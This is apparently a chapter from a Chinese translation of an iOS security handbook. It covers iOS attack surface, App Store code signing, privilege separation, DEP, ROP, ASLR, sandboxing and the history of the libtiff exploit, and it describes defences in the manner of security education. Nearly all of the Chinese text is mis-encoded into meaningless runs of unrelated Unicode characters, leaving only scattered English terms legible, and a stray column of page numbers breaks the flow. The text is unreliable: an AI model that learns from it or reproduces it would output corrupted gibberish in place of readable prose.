iPadᄉ᫇ˆࡂ௦ڙᤇʶழՓʼ᣿Ѣᄉኃʶ൥ǌኃʶ̼iPad΍ၸ˿ARM Cortex-A8౵ౝᄉCPUὋ

߱ᄉᤳऎܷጝ௦ኃʶ̼iPhone੝΍ၸCPUᤳऎᄉˏυǌ 
iPad 2֖iPhone 4SѶ௦Բʶ˓ܷࢼᡴᡔǌ߱͂ᦏ΍ၸ˿ARM Cortex-A9౵ౝᄉԤನူܪ

٧ὋࡂCPUᤁኪᄉᤳऎᏪᝒὋ᜵ඊA8౵ౝᄉ٧ူܪঋ20%ǌఝ৲̠ᄉ௦ὋA9ᄉGPU᜵ඊA8ᄉ
ঋ9υǌ 

̯߶КᄉᝇऎᄹὋᆵ͇ʼࢿऩణܷᄉ௦iPhone 3GS֖iPad 2ǌiPhone 3GS௦ኃʶሗஂ૆Thumb2
ૈ̽ᬶᄉ᝹ܫǌᤇሗளᬶ̽ૈۋஇԪ˿ѸतROPథ஌ᣑᕲᄉழयǌ˧ґ᝹ܫ˖Ѣဗᄉ̼ᆉࣿѴڙ

iPhone 3GS˖቉ཨԦၶ˿இԪǌ 
Բʶழ᭦ὋiPad 2΍ၸ˿Ԥನ٧ူܪὋ߱ᝧiOSᄉѫᦠርࣿԺ̾КҦᤁᛠǌᤇಧࠪࡂ໣วஈѣ

ᄉౝᤴࣛ౎˿ֽॕܷࢼὋځ˝໣วஈѣ٧ူܪܲڙဖܑʽᄉԺ᭤ব᜵िॡܲǌ 

ኃ �ብ
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2� � ኃ 1 ብ� iOS ߶К۲ᆨᅻខ 

 

Բʶᮉˀ߶КᄰСᄉᆵ͇௦۲ࣛǌФࠃὋܷܲڙஜࠑڍὋᔰ౦МՂᄉ᝹ܫᦏ௦ˀᤁᖸ׷ፄ߿

὇ᩙ߿Ὀᄉǌ 
˝˿ᝌᩙiPhoneὋܲஜ໣วஈѣᦏ͗ѽၸ੣఺۲ࣛᦉ͇ᄉ໣วǌ˧ґᄉі̼iPhoneʶᄯ΍ၸ

ᔭᮺёМՂᄉ۲͇ࣛڌǌᏪCDMAྟఴᄉiPhone 4̾ԢՉྟఴᄉiPhone 4Sᣀ˝΍ၸᰳ᤯МՂᄉ۲

 ǌ͇ڌࣛ
 లѢဗǌ࠺ᄉ໣วஈѣ͇ڌᄉὋͭ᧪ࠪᰳ᤯͇ڌፂМधᄉᔩ࣯ሗ໣วஈѣᦏ௦᧪ࠪᔭᮺёࣂ

1.2� 㣍ᵰ݀ৌབԩֱᡸ App Store 

iOS᝹ܫ˧੝̾ݟ൤˿ʿᡐὋФ˖ʶ˓ԓࡂځ௦߱͂Ժ̾ᤁᛠ˗ࠜܲॐᄉःၸ὚ၸਖ਼Ժ̾ڙ

ᔰ౦ᄉApp Storeʼ੼ҁᤇ̎ःၸǌApp Storeʼᒯ࠵థ50ʹሗःၸὋ঳ʽᣑ൒ஜࣂፂᡓ᣾˿180̢
൒὇1-1ڎݟ੝ᇧὈǌ 

 

�1-1ڎ ၸਖ਼ᅊ˖ᄉApp Store 

iOSᄉःၸ௦ѽၸXcode֖iOS SDKڙMac OS X᝟ኪ఺ʼधԦᄉǌ੝ౝतᄉःၸԺ̾ڙiOS
ഴ઱٧ʼᤁᛠὋ˶Ժ̾ڙᄽࠃᄉiOS᝹ܫʼᤈᛠ฽ណǌཨՐὋࡂԺ̾࠱धԦѢᄉःၸԦᤞፋᔰ౦

МՂᤈᛠࠅಉǌݟ౦ᖌ३੺эὋᤇ̎ःၸ͗ࡂᜁኣʼᔰ౦ᄉሒᨄὋࣲᜁ଍ᤞҁApp StoreΘၸਖ਼

ʽᣑǌiOSᄉःၸॸᮋ३ҁԩζ͉ʶழ὇ඊݟᔰ౦МՂὈᄉኣՏὋՠѶiOS˖ᄉु҃ব̼ᆉኣՏ
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὇Mandatory Code-SigningὈᭉය͗ᝧᤇ̎ःၸ௃กڙ᝹ܫʼᤁᛠ὇ស᜸ኃ4ብὈǌ͌ˉ˶Ժ̾ѽ

ၸዜͪᄉጆፑՓᬷտѫԦःၸὋʿ᣾ᬷտᄉ੣఺ॸᮋፂ᣾ᦠᎵὋ੥ᑞଋԩၿឞ͌ˉ֖ᔰ౦МՂ

ኣՏᄉःၸǌ 
ॆཨὋʶெၸਖ਼ՓiOS᝹ܫʽᣑ˿ளःၸὋࡂ˝ৎ਒ᣃ͇ଡΘ˿Ժ˱˧఺ǌᔰ౦МՂࣂፂណ

ᅋၸ̼ᆉኣՏ఺֖҃App Storeᄉࠅಉึር౎ᬋͯᤇሗ᮲ᬖǌᬓ൤˧ܰὋ౎ຸ̅App Storeᄉःၸ͗

̾ᣖͯጞѾᄉాᬌᤁᛠڙ෡ᄣ˖ὋᤇሗழयԺ̾ᬋͯ߱͂ᄉᆠڭবǌܷ ᑞᄹҁఝܲˀ൤ࡂॡঋࠑ

థСᄉЮࠓǌ 

1.3� ⧚㾷ᅝܼ࿕㚕 

ఴ˹̭ፀiOS߶К఺҃Ὃ̯߱ݟʹᡐ஌̾Ԣݟʹஈᆠᤇሗ఺҃ᤈᛠଉᝦǌ᜵К᭦ူᝌᔰ౦М

ՂڙγᬩФֵ̖߶Кழ᭦੝᧓ԨᄉଏஶὋᯪЎ᜵ᅻ᥊ᤇ̎᝹ܫԺᑞ᭦ࠪᄉՉሗގᐺǌ 
঳ͳ౎ᄹὋॡܲಷ᭦ႂᑧ੝ᥒԩᄉஈѣՎಧ͗ԦၶڙiOS᝹ܫʼǌᤇ̎ஈѣԺѫ˝ˏܷዜὙ

ৎ਒ᣃ͇֖໣วஈѣǌৎ਒ᣃ͇ڙ˓̠ႂᑧ˖ࣂፂѢဗіӠࣱ˿ὋᏪ˄ൣ੆˝ሧҮ᝹ܫᄉʶܷގ

ᐺǌ঳ᄉ౎ឬὋৎ਒ᣃ͇ࡂ௦ᥦ̎߶ᜈՐʶெᤁᛠ͗ࡂþϡ̂ڭÿᄉᣃ͇ǌৎ਒ᣃ͇Ժᑞˀၸਖ਼

ᭉ᜵ᄉᣃ͇૤ፄڙʶᡐὋ˶Ժᑞ͡ᜈ੆ၸਖ਼ਆ᜵ᄉᣃ͇ǌʿክגሗৰхὋၸਖ਼ᦏ͗ʽᣑ֖߶ᜈᤇ

̎ৎ਒ᣃ͇ὋᏪᤇ̎ৎ਒ᣃ͇ڙ੯ᛠௐ࣯͗ʶ̎̂ڭὋӉહԦᤞႂߔᥪ͇ǋЉ᝴ஈѣᏧᤉር᝺᫇ǋ

߶ᜈ૊᪃᝭े٧Ὃኍኍǌ੝థ᤯ၸ᝟ኪ᝹ܫ੊ܲ੊࠵ᦏ͗ԩҁৎ਒ᣃ͇ᄉގᐺǌႂᑧࡂ௦ၸ౎ᤁ

ᛠᣃ͇ᄉὋၸਖ਼ᝧ߱͂ϡ̣˥Ὃ߱͂͗ࡂϡ̣˥ǌࡂኪၸਖ਼᜵ය߱͂ᤁᛠʶ̎ৎ਒ᄉЮࠓὋᤇ̎

᝟ኪ᝹ܫ˶͗ൔཨଋԩǌႂᑧ෤̣˥ᄽൣᄉ໣วὋ߱Ե௦ʿᅻ᥊ឞᤁᛠ̣˥ርࣿὋʿឞᤁᛠ̣˥

ርࣿǌγએ᝹ܫʿԩৎ਒ᣃ͇ӿࠎᄉ࣡᜺ழय௦΍ၸ఼ඈᣃ͇ǌ఼ ඈᣃ͇ᄉࢹͺࡂ௦ᆷ̎ג߿ᣃ

͇௦߶КᄉὋ̎ג௦ʿ߶Кᄉǌ 
Բʶழ᭦Ὃ໣วஈѣѶѽၸ˿᝹ܫ˖ᣃ͇ᄉऄࡎ໣วᤁᛠФ̼ᆉǌၸਖ਼ԺᑞԵ௦ڙเ᜾Ꭹᮅǋ

᫝ឳႂߔᥪ͇Ὃ੊಩ఴ̣˥ᦏ෤ϡὋ቉ཨᫍʶ̎ৎ਒̼ᆉ὇Ժᑞ௦̾Ꭹᮅǋႂߔᥪ͇੊ᆀζኍ्

यὈ͗ࡂѽၸ౼˓໣วڙ᝹ܫʼᤁᛠ̼ᆉǌᤇሗஈѣథௐሥ˝ʽᣑ᯵Үஈѣ὇drive-by-downloadὈὋ
ᜈ͉ʹ̼ᆉὋԵʿ᣾߶ڎᏧὋ̴ࣲ͂෤థណࠎˀৎ਒ᣃ͇ʿՎᄉ௦Ὃၸਖ਼ʶᓉ͗௦௃ᣭᄉԩ˝ځ

௦᜵΍ၸᒬࣁᄉ᝹ܫᏪࣂὀ໣วஈѣԺᑞڙԩॕֽᄉᤈርЮᦉᤁᛠ౼̼̎ᆉὋ੊Ꮷʽᣑǋ߶ᜈࣲ

ᤁᛠ౼̎ᣃ͇ǌԩࠎᄉၸਖ਼Ժᑞʿᅻ᥊ʶ̎ʿՎࠬ࣡ᄉ̂ࣂፂԦၶ˿ǌ 
ᤇಧᄉ໣วஈѣ᜵යХܫˏ˓్͇ǌኃʶ˓్͇௦᝹ܫʼ߶ᜈᄉᣃ͇థ၅Ⴗ੊໣วǌኃ̃˓

్͇௦ஈѣᏧథҨกѽၸᤇʶ໣วᝧФଌ҃ᄉ̼ᆉڙ᝹ܫʼᤁᛠǌ᧪ࠪᤇˏ˓్͇Ὃᮔ᫸ଏஶ˶

థˏሗǌኃʶࡂ௦Ҫܷ੼Ѣ໣วᄉᬱऎǌᤇԺᑞ਒։ᅋ࠱ఝ࠵ᄉ̼ᆉ఑᭚ፋஈѣᏧ὇ђ࠴ԩஈѣ

᭦ὈὋ੊௦ࡉԺᑞຌူࣲѺᬓ̼ᆉ˖ᄉ၅Ⴗǌᤇʶழกᄉ᫇ᮤ̅ڙ౼̼̎ᆉᐯ߿᜵ʶᄯ఑᭚ፋஈ

ѣᏧὋՠѶ᝹ࡂܫ෤กˀܰႌ̓̈ǌ൤ܰὋ੼Ѣຆᘨڙ๑᧙̼ᆉ˖ᄉ੝థ὇੊ᏧឬܷܲஜὈ໣ว

௦ॡᬱϡҁᄉǌݟ౦ॡࠓ௛ᄉពὋࡂʿၸз˹Ὃၴᒯ˶ʿၸᡔ̣˥࿜˿ὀ 
ኃ̃ሗᮔ᫸໣วஈѣᄉழयࡂ௦ҪܷஈѣᏧ᤯᣾໣ว੯ᛠৎ਒̼ᆉᄉᬱऎǌᤇ๗Ԣܷ᧙ᄉ੾

శ᫇ᮤὋඊڙ͂ੇݟК˹˖ᦏ᜵ᝦ᝶ᄉஜ૵੯ᛠγએˀЮߚᬣ఺Ӑ὇memory randomizationὈǌᮊ
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ᅋᤇ్ধᡸὋᤝʶʹ൥ᝮὋࡂኪஈѣᏧణጻ̼ڙᆉ˖੼ҁ˿bugὋࣲᝧৎ਒̼ᆉᤁᛠᡐ౎Ὃܷࠑ

ᒯ࠵Ժ̾ઁৎ਒̼ᆉԺᑞᤴ੆ᄉ૮ࠎᬋҁణͯǌᤇᭉ᜵ѽၸాᬌѫሎ੊෡ᄣᝧ౼̎ึር௃กଋᝎ

ஏਕஜ૵ǌΒݟὋWebเ᜾٧੊᝴ࣲʿᭉ᜵҃ͺ᜼ᮟ੊Ԧᤞᆀζᄉҩᑞǌ 
ҁᄫґ˝ൢὋੇ͂ʶᄯډڙፈ੝థ᝹ܫРՎ᭦˙ᄉ߶Кގᐺࡘधᝦ᝶ǌଋʽ౎Ὃੇ͂ឬʶឬ

᧪ࠪiOS᝹ܫᄉஈѣˀ᧪ࠪ˓̠ႂᑧᄉஈѣథ̣˥ӜѾǌॆཨὋᤇ̎ஈѣڙॡܲழ᭦௦᭣࣡ᄰͪ

ᄉǌiOSࡂᄰॆ̅ዴኤ˿ᄉMac OS XὋځ൤ᤇˏᏧ˧ᫍڙߚॡܲРՎ੊ᒯ࠵௦᭣࣡ዜͪᄉ໣ว֖

ஈѣǌࢿऩᄉᆷڙߚὋʿ᣾۲ఴʼԺ̾ॅፆ˝ԩஈѣ᭦ᄉӜѾǌԩஈѣ᭦௦ૈஈѣᏧԺ̾᝺᫇Ꮺ

 ஈѣᏧ੝ଡΘᣤЙᄉᥦᦉѫ̼ᆉǌူܪ͗˄
̯౼ሗᝇऎʼᝮὋiOS᝹ܫᄉԩஈѣ᭦᜵ඊᄰःᄉMac OS XԻय఺࠴ǌඊݟὋiOSʼࡂ෤థ

߶ᜈiChatᤇಧᄉःၸὋᏪQuickTime˧ዜःၸᄉҩᑞ˶ܷܷڠኤӐ˿ǌዜͪڠὋMobileSafariʿஂ

૆Safariเ᜾٧Ժ̾ᝌౡᄉʶ̎஠͇ዜۋǌځ൤Ὃੇ͂Ժ̾ឬiOSᄉԩஈѣ᭦ఝ࠴ǌ̯Բʶழ᭦౎

ᄹὋ౼̎ҩᑞԵѢဗڙiOS᝹ܫʼὋྱѾ௦ԵѢဗڙiPhoneʼὋඊழឬᆀζҩᑞǌiPhoneԺ̾ᝌౡ

ᆀζὋͭMac OS X˖෤థࠪःᄉ̼ᆉὋᤇឬ௙ڙ౼ሗ਒˦ʼiOSᄉԩஈѣ᭦ԠఝܷǌᏪiPhone۲
ኃ6ብ֖ኃ12ብ˖ѫѾᝦ᝶ᤇˏሗiOSڙ࠱٧ʼᤁᛠᄉ̼ᆉ˶͗ੰܷiOSᄉԩஈѣ᭦ǌੇ͂ူܪࣛ
ྱథᄉஈѣ᤬फ़ǌ 

1.4� ⧚㾷 iOS ⱘᅝܼᶊᵘ 

ᄉஈۋક७ᤇ̎ዜʹݟܫ᜵ᝦ᝶iOS᝹ࡂᄉ৓̠ஈѣὋఴᓫܫԺ̾ਆ៵ʶ̎᧪ࠪiOS᝹ࠑܷ

ѣǌᤇ᧖᜵ଠᤗiOS 5Ὃൣ࠱ࠑܷݟ᜵ᄹҁᄉὋᤇ௦ሗᄰॆ߶Кᄉጆፑǌ1.5ᓫ̭࠱ፀiOS௦ݟʹʶ

ᡸ໥ԪᏪ౎ᄉὋᤇ௦ൿథཁۃڬᄉԦࡘԊርǌ  

1.4.1� ᳈ᇣⱘফᬏߏ䴶 

ԩஈѣ᭦௦ૈူܪஈѣᏧ੝ଡΘᣤЙᄉ̼ᆉǌࡂኪᔰ౦МՂᄉ౼̼̎ᆉ˖ڙߚ໣วὋݟ౦ஈ

ѣᏧ෤กଋᝎᤇ̼̎ᆉὋ੊Ꮷᔰ౦МՂ಩ఴʿ͗ڙiOS˖Ӊդᤇ̼̎ᆉὋᥦ˥ஈѣᏧࡂ෤ก᧪ࠪ

ᤇ̎໣วधࡘஈѣǌځ൤ὋС᪃ᄉϡกࡂ௦ࡉԺᑞᬋͯஈѣᏧԺ̾᝺᫇὇࠾Ф௦Ժ̾ᤉር᝺᫇Ὀ

ᄉ̼ᆉ᧙ǌ 
ᔰ౦МՂ᧓Ԩ˿ՉሗԺᑞᄉଏஶὋᄰࠪ̅Mac OS X὇੊Ф̴ఄᑞ੣఺Ὀђ࠴˿iOSᄉԩஈѣ

᭦ǌΒݟὋʿክၸਖ਼؝ʿ؝൓ὋiOSᦏ௦ʿஂ૆Java֖Flashᄉǌᤇˏሗःၸᄉ߶К᫇ᮤၿ౎ࣂˣὋ

੝̾ʿդ߱͂ࡂ΍३ஈѣᏧఝᬱ੼ҁԺѽၸᄉ໣วǌᤆథὋiOSʿᑞူܪ౼̎Mac OS XԺ̾ူܪ

ᄉ஠͇Ὃඊழឬ.psd஠͇ǌSafariᑞܴူܪᤇʶ஠͇ዜۋὋͭMobileSafariࡂʿᛠὋ᧗᜵ᄉ௦Ὃ෤

̠͗ซ਒ҁMobileSafariʿஂ૆ᤇሗʿ࣡ၸᄉ஠͇ಪयǌ൤ܰὋᔰ౦МՂᒬథᄉ.movಪय˶Եᜁ

iOSᦉѫஂ૆Ὃځ൤ॡܲԺ̾ڙMac OS Xʼ୦உᄉ.mov஠͇ڙiOSʼ௃ก୦உǌణՐ᜵ឬᄉ௦Ὃ

ᙉཨiOSԓၶஂ૆.pdf஠͇ὋͭԵ௦ᝌౡឞ஠͇ಪयᄉᦉѫྱবǌв౎ᄹᄹˀ˧థСᄉʶ̎ஜ૵Ὃ

Charlie Millerడၸʶ̎ഴዹᄉ஠͇౎฽ណPreview὇Mac OS XጆፑᒬࣛᄉPDF᫝ឳ٧ὈὋፆ౦लᡐ

˿100ܲ˓ᩱឧǌᏪ̴ڙၸiOS฽ណᄰՎᄉ஠͇ௐὋԵథጝ7%ᄉ஠͇ڙiOS˖लԦ˿᫇ᮤǌᤇ਒։
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1 

2 

3 

4 

5 

11 

6 

7 

8 

9 

10 

ᅋ᤯᣾ђ࠵iOSᑞܴူܪᄉPDFྱবὋᔰ౦МՂђ࠵˿ᤇሗৰхʽ90%ᄉ໷ڙ߶К໣วǌ၅Ⴗᡔ

 ǌ࠴ᡔࡂὋஈѣᏧԦҮ໣วஈѣᄉ఺͗࠵

1.4.2� ㊒ㅔ䖛ⱘiOS 

ᬓ˿ђ࠵ԺᑞᜁஈѣᏧѽၸᄉ̼ᆉὋᔰ౦МՂᤆዴኤ૿˿ᔩ࣯ःၸὋ̾ ᫸˝ஈѣᏧڙᤈᛠ໣

วஈѣௐ֖३੣˧ՐଡΘΦѽǌణ௙௬ᄉΒࡂߔ௦iOS᝹ܫʼ෤థshell὇/bin/shὈǌڙ᧪ࠪMac 
OS Xᄉ໣วஈѣ˖ὋஈѣᏧᄉ˞᜵ᄫಕࡂ௦ណᅋڙþshellcodeÿ˖੯ᛠshellǌᏪiOS˖಩ఴ෤థ

shellὋ੝̾᧪ࠪiOSᄉ໣วஈѣࡂॸᮋࠬයФ̴ణጻᄫಕǌʿ ᣾ὋԀΦiOS˖థshell̴͂˶ၸʿʼὋ

ᜁڙ˥ᤁᛠ̼ᆉᄉஈѣᏧ᜵ڎၸርࣿǌ͌ࠃrmǋlsǋpsᤇಧᄉݟஈѣᏧ෤ก̯shell੯ᛠឰ˝ځ

ஈѣᤈርᄉʼʽ஠˖ͺ಴Ὃ᜵˥Եᑞᒬܫ੝థࢹХǌʿክঞಧὋᦏ෤ᥦ˥ࠓ௛ǌ 

1.4.3� ᴗ䰤ߚ⾏ 

iOS΍ၸၸਖ਼ǋጷ֖Ф̴͛ፑUNIX஠͇ాᬌ఺҃ѫሎ˿ՉᤈርǌΒݟὋၸਖ਼Ժ̾ᄯଋ᝺᫇ᄉ

ॡܲःၸὋඊݟWebเ᜾٧ǋᥪ͇ࠆਖ਼ቪ੊ኃʻழःၸὋࡂ௦̾ၸਖ਼mobileᄉᢵ͊ᤁᛠᄉǌᏪ

ܲஜ᧗᜵ᄉጆፑᤈርѶ௦̾ྱాၸਖ਼rootᄉᢵ͊ᤁᛠᄉǌФ̴ጆፑᤈርѶ̾ឰݟ_wireless֖

_mdnsresponderᤇಧᄉၸਖ਼ᤁᛠǌѽၸᤇʶഴۋὋᥦ̎߸Кଌ҃˿Webเ᜾٧ᤇዜᤈርᄉஈѣ

Ꮷ੯ᛠᄉ̼ᆉ͗ᜁᬌ҃˝̾ၸਖ਼mobileᄉᢵ͊ᤁᛠǌᤇಧᄉ໣วஈѣ੝ᑞ̖ၶᄉॕֽࡂඊᣖథ

ᬌ˿Ὃඊݟ෤ҨกᤈᛠጆፑጞѾᄉᦠᎵఝஇǌՎಧὋ౎ᒬApp StoreᄉःၸФᛠ˝͗ԩҁᬌ҃Ὃځ

˝߱͂˶௦̾ၸਖ਼mobileᄉᢵ͊੯ᛠᄉǌ 

1.4.4� ҷⷕㅒৡ 

iOS˖ణ᧗᜵ᄉ߶К఺҃௦̼ᆉኣՏǌ੝థᄉ̃ᤈ҃஠͇὇binaryὈ֖ዜंڙᜁЮನЉ᝴੯ᛠ

˧ґᦏॸᮋፂ᣾ԩζ͉఺ౝ὇ඊݟᔰ౦МՂὈᄉኣՏǌ൤ܰὋЮߚ˖Եథᥦ̎౎ᒬࣂኣՏ౎ຸᄉ

ᮅ੥͗ᜁ੯ᛠǌᤇ਒։ᅋःၸ௃กҮখڠஇԪᛠ˝੊߸੆ᒬᢵӣጞǌᤇಧϡᦏ௦˝˿᫸ൢၸਖ਼̯

ᤈᛠᦠܫᎩʼʽᣑ֖੯ᛠᬣ఺ᄉ஠͇ǌ੝థᄉःၸᦏॸᮋ̯ᔰ౦ᄉApp Storeʽᣑ὇ᬓ᭣ࠪ᝹ྱځ

ᎵὋ΍ФଋԩФ̴ᄉຸὈǌᔰ౦МՂ઴థణጻࠅ੺ాὋڙ೜ಉ᣾ःၸ˧Ր੥Љ᝴ФڙApp Store˖
Θၸਖ਼ʽᣑǌᤇಧʶ౎Ὃᔰ౦МՂࡂᡐҁ˿˝iOS᝹఼ܫඈᄉͺၸǌ߱͗ࠅಉඇ˓ःၸὋᆷ߿Ф

ᑞՠڙiOS᝹ܫʼᤁᛠǌᤇሗγએ΍३iOS᝹ܫॡᬱԩҁৎ਒ᣃ͇ᄉॕֽǌ̂ࠃʼὋiOS˖Ѣဗᄉ

ৎ਒ᣃ͇ૈࡐԺஜǌ 
̼ᆉኣՏᄉԲʶॕֽ̅ڙᝧ໣วஈѣԪܬఽ˿ǌ໣วஈѣݟ౦᜵ڙЮߚ˖੯ᛠ̼ᆉὋԺᑞࡂ

᜵ʽᣑǋ߶ᜈࣲ੯ᛠФ̴ᄉৎ਒ःၸǌᏪځ˝߱᜵߶ᜈᄉЮࠓᦏ௦లኣՏᄉὋ੝̾ጆፑ͗ધፏ߶

ᜈǌځ൤Ὃ໣วஈѣ͗ᜁᬌ҃͂߱ڙణѹѽၸᄉᥦ˓ᤈር˖Ὃᬓ᭣߱ፘ፝ஈѣ᝹ܫᄉФ̴ҩᑞǌ  
ॆཨὋᤇ˓̼ᆉኣՏγએ఺҃˶௦ၸਖ਼ਆ᜵ᡔ࿜ᄉԓځǌʶெ࠱᝹ܫᡔ࿜ὋలኣՏᄉःၸࡂ

Ժ̾ڙᡔ࿜᣾ᄉ᝹ܫʼ߶ᜈᤁᛠǌᡔ࿜ᤆ͗ᆠڭФ̴γએ఺҃὇ሮՐв̭ፀὈǌ 
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1.4.5� ᭄᥂ᠻ㸠ֱᡸ 

ʶᓉᏪᝒὋDEP὇Data Execution PreventionὋஜ૵੯ᛠγએὈ௦ᤇಧʶሗ఺҃Ὑ٧ူܪᑞӜ

ѫגᦉѫЮߚ௦Ժ੯ᛠ̼ᆉ̾ԢגᦉѫЮߚ௦ஜ૵ǌDEPʿЉ᝴ஜ૵ᄉ੯ᛠὋԵЉ᝴̼ᆉ੯ᛠǌ

ᤇʶཁ᭣࣡᧗᜵Ὃځ˝ॆ໣วஈѣណڎᤁᛠథ஌ᣑᕲௐὋ߱ థ஌ᣑᕲซЙᤈርࣲ੯ᛠឞథ஌࠱͗

ᣑᕲǌDEP͗ᝧᤇሗஈѣᛠʿ᤯Ὃځ˝థ஌ᣑᕲ͗ᜁខѾ˝ஜ૵Ꮺ᭣̼ᆉǌஈѣᏧ᤯࣡͗ណڎѽ

ၸኃ8ብ̭ፀᄉROP὇Return-Oriented ProgrammingὋ᭦Փᤄٿᄉርࣿ᝹᝟Ὀ੾శፈ᣾DEPǌڙ

ROP᣾ር˖ὋஈѣᏧ᤯࣡͗ၸʶሗᤈር਒஧˧ܰᄉழय᧗ၸࣂፂڙߚᄉథ஌̼ᆉൿὋ̾੯ᛠᮔ

యᛠҮǌ 
iOS˖̼ᆉኣՏ఺҃ᄉͺၸԓူˀDEPᄰͪὋၴᒯ᜵ఝुܷǌ᧪ࠪըၸDEPᄉጆፑᄉʶᓉஈ

ѣԵ௦ѽၸROPѸतʶڰԺзЙ˄Ժ੯ᛠᄉЮߚӜ۪὇ᤇಧDEPࡂʿ͗੯ᛠὈǌཨՐὋ߱ࡂԺ̾

ឞӜ۪˖зЙథ஌ᣑᕲࣲ੯ᛠឞథ஌ᣑᕲǌʿ᣾Ὃ̼ᆉኣՏ᜵යὋᬓ᭣ᮅຸᒬԩζ͉఺ౝኣՏڙ

᣾ᄉ̼ᆉὋՠѶឞᮅࡂʿ͗ᜁ੯ᛠǌځ൤ὋڙiOS˖ᤈᛠROPௐὋஈѣᏧʿԺᑞϷज़࣡ᥦಧС᫆

DEPǌᐎጆҁ໣วஈѣ෤ก੯ᛠ߱͂зЙᇒᄧᄉःၸᤇʶ̂ࠃὋᤇࡂ਒։ᅋ໣วஈѣԵᑞ੯ᛠ

ROPǌ߱͂Ժᑞ෤ก੯ᛠФ̴ዜۋᄉథ஌ᣑᕲὋඊݟshellcode੊Ф̴̃ᤈ҃஠͇ǌڙROP˖зЙ

ܷᄉథ஌ᣑᕲ᭣࣡Ᏹௐ˶᭣࣡ܬఽǌᤇ΍३ࠪiOSᤈᛠ໣วஈѣ᜵ඊ᧪ࠪФ̴͉ʹࣰԻᄉ໣วஈ

ѣᦏᬱǌ 

1.4.6� ഄഔぎ䯈Ꮧሔ䱣ᴎ࣪ 

ᄉ̼ᆉൿ὇ROPὈǌʿ᣾Ὃ᜵ϡڙߚࣂ1.4.5ᓫ˖ᝦ᝶ᄉὋஈѣᏧፈ᣾DEPᄉழय௦᧗ၸݟൣ

ҁᤇʶཁὋ̴͂ᭉ᜵ଽຌഁਆ᜵᧗ၸᄉ̼ᆉൿͮ̅ʹܪǌ᤯᣾ᝧࠪ៵ڙЮߚ˖ᄉͮᎵᬣ఺ӐὋ

ASLR὇Address Space Layout RandomizationὋڦڠቆᫍ࣊ࡌᬣ఺ӐὈ΍ϡҁᤇʶཁԪ३᭣࣡ڇᬱǌ

ᄉͮᎵКᦉ௦ᬣ఺ᄉǌॆጆፑڦڠߚiOS˖Ὃ̃ᤈ҃஠͇ǋं஠͇ǋҮখᩖଋ஠͇ǋಖ֖۶Юڙ

ՎௐХథDEP֖ASLR఺҃ௐὋ᧪ࠪឞጆፑᎃз໣วஈѣ̼ᆉᄉʶᓉழกࡂ߸К௃஌˿ǌࠃڙᬄ

ःၸ˖Ὃᤇ᤯࣡਒։ᅋஈѣᏧᭉ᜵ˏ˓໣วὋʶ˓ၸ౎ᖌԨ̼ᆉ੯ᛠాὋԲʶ˓ၸ౎ᖌԨЮڠߚ

  ᭉ᜵ʶ˓౜Фྱ൳ᄉ໣ว౎ϡҁᤇˏཁǌࡂ੯ᛠROPὋʿཨஈѣᏧ̾ڦ

1.4.7� ≭Ⲧ 

iOS᫸७఺҃ᄉణՐʶဖ௦෡ᄣǌˀ ˧ґଡҁᄉUNIXాᬌጆፑᄰඊὋ෡ᄣԺ̾ࠪᤈርԺ੯ᛠ

ᄉᛠҮଡΘఝጹዡऎᄉଌ҃ǌΒݟὋSMSःၸ֖Webเ᜾٧ᦏ௦̾ၸਖ਼mobileᄉᢵ͊ᤁᛠᄉὋ

ͭ߱͂੯ᛠᄉҮͺࢿѾॡܷǌSMSःၸԺᑞʿᭉ᜵᝺᫇Webเ᜾٧ᄉcookieὋᏪWebเ᜾٧ʿᭉ

᜵᝺᫇ᆀζǌᏪ౎ᒬApp StoreᄉኃʻழःၸʿःឞХథcookie֖ᆀζᄉ᝺᫇ాǌ᤯᣾ᝧᔰ౦МՂ

 ःၸХͳᭉ᜵ᥦ̎ాᬌὋ෡ᄣ఺҃ᝌф˿ᤇʶ᫇ᮤ὇ԟ᜸ኃ5ብὈǌ߿ૈ
෡ᄣథˏ˓஌౦ǌᯪЎὋ߱ᬌ҃˿ৎ਒ᣃ͇ࠪ᝹ܫᤴ੆ᄉᆠڭǌਆ៵ʶʽὋࡂኪৎ਒ᣃ͇Μ

ࣳ᤯᣾˿App StoreᄉࠅಉึርὋᜁʽᣑҁ᝹ܫʼࣲधݼ੯ᛠὋឞःၸᤆ௦͗ᜁ෡ᄣ᜺Ѷ੝ᬌ҃ǌ
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߱Ժᑞ͗ቊԨ᝹ܫʼ੝థᄉཱྞ֖ڦڠዖζোὋͭ ߱෤Ҩก੯ᛠԦᆀζ੊੩ႂពኍ͗ᄯଋ΍ၸព

᠟ᄉୱͺǌ෡ᄣᤆᝧ໣วஈѣԪ३ఝڇᬱǌࡂኪஈѣᏧڙђ࠴ᄉԩஈѣ᭦ʼ੼ҁ˿໣วὋࣲፈ᣾

ASLR֖DEP੯ᛠ˿̼ᆉὋథ஌ᣑᕲ˶ᤆ௦͗ᜁᬌ҃ڙ෡ᄣ᧖Ժ᝺᫇ᄉЮࠓ˖ǌ঳Ꮺᝒ˧Ὃ੝థ

ᤇ̎γએ఺҃ᙉཨʿᑞឬ͗߸К౉ፏৎ਒ᣃ͇֖໣วஈѣὋͭ˶ܷܷҪܷ˿ஈѣᄉᬱऎǌ 

1.5� iOS ᬏߏㅔ৆ 

ᄉ᫸७ᑞҦథ˿۲ఴᄉ˿ᝌՐὋੇܫiOS᝹ࠪڙ ͂౎ᄹʶ̎᧪ࠪiOS᝹ܫᄉ੆ҩஈѣὋᄹᄹဗ

໥Ӑ̾ःࠪՉሗஈʹݟᄉ߶Кব௦ܫᇧ˿᝹ࡘ˶ᜁ቉ᆠᄉǌᤇ˓ኤԽʹݟᄉ߶К᫸ጲ௦ܫ᝹˖ࠃ

ѣᄉǌ  

1.5.1� Libtiff 

Ὃࣉঋʼࡉ˿˝ኃʶ̼iPhone̅2007ࣱ᫇ˆௐὋ๖᠟Ꮷ͂˝᠓˻߱ଅᡐ˿᫁᫲ǌԺᑞ௦ڙ

ኃʶ̼iPhoneᄉ߶К࿃хࣲʿܹݝǌܷࣂࠑፂᄹҁ˿iOS 5ᄉৰхὋᏪኃʶ̼iPhone੝΍ၸᄉ

þiOS 1ÿփὙ 
� థᅋఝ࠴ᄉԩஈѣ᭦὚ 
� థᅋዴኤᄉୱͺጆፑ὚ 
� ෤థాᬌѫሎὋ੝థᤈርᦏ̾rootాᬌᤁᛠ὚ 
� ෤థु҃ᄉ̼ᆉኣՏ఺҃὚ 
� ෤థDEP὚ 
� ෤థASLR὚ 
� ෤థ෡ᄣ఺҃ǌ 
